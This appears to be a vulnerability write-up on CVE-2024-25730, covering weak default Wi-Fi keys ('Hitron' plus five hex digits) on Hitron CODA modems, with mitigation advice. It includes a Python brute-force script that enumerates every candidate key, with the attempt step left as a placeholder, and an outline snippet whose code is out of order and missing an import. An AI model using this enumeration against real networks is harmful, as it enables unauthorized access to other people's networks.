The widespread use of Hitron CODA modems in residential and commercial settings has made them a popular choice for users seeking to establish stable internet connections. However, an exploit has been discovered, designated as CVE-2024-25730, which impacts CODA-4582 and CODA-4589 devices. This exploit stems from the default pre-shared keys (PSKs) containing insufficient entropy and leading to only about one million possibilities, drastically reducing the security strength and making it easier for malicious actors to compromise these devices.

Technical Details

Hitron CODA-4582 and CODA-4589 devices possess default PSKs that are generated from 5-digit hexadecimal values, concatenated with a "Hitron" substring. This means that the default PSK format is similar to "Hitron12345", where "12345" is a 5-digit hex value. This results in roughly 1,048,576 possible combinations (16^5), significantly reducing the overall security, making it easier for attackers to access these devices using a brute-force attack. Here is a code snippet showing the general outline of the issue:

default_psk = 'Hitron' + hex_value
hex_value = random_hex_generator(5) # Generates a random 5-digit hex value

def random_hex_generator(length):
    hex_digits = '0123456789ABCDEF'
    return ''.join(random.choice(hex_digits) for _ in range(length))

- CVE-2024-25730 Official Entry
- National Vulnerability Database (NVD) Link

Exploiting the Insufficient PSK Entropy

Due to the limited number of possibilities, attackers can brute-force their way to the correct PSK, gaining unauthorized access to the network and devices connected to it. Launching an automated script to attempt all the possible combinations will take minimal time and effort, given the scope of possible PSKs. Below is an example of how an attacker might exploit the vulnerability:

# Import the necessary modules
import itertools
import string

def hitron_psk_brute_force(psk_attempt_func):
    hex_digits = '0123456789ABCDEF'
    # Generate all possible 5-digit hex values
    for combination in itertools.product(hex_digits, repeat=5):
        hex_value = ''.join(combination)
        temp_psk = 'Hitron' + hex_value
        # Test the generated PSK
        if psk_attempt_func(temp_psk): # Replace this with the attacker's implementation
            print(f'Found PSK: {temp_psk}')
            break

hitron_psk_brute_force(attacker_psk_attempt_function) # Replace this with the attacker's implementation

Mitigation and Prevention

To protect Hitron CODA-4582 and CODA-4589 devices from this vulnerability, users should change the default PSK to a more robust and complex password. Ideally, this should include a combination of uppercase and lowercase letters, numbers, and special characters, making it difficult for malicious actors to brute-force the password efficiently.

In addition to updating the PSK, users should regularly update their device firmware to ensure that they are protected from any newly discovered vulnerabilities and exploits.

In conclusion, CVE-2024-25730 represents a significant security threat to Hitron CODA-4582 and CODA-4589 devices due to the insufficient entropy present in their default PSKs. Users should take immediate steps to change their PSKs to more secure and complex passwords and update their device firmware to minimize the risk of unauthorized access.

Timeline

Published on: 02/23/2024 22:15:55 UTC
Last modified on: 08/16/2024 18:35:08 UTC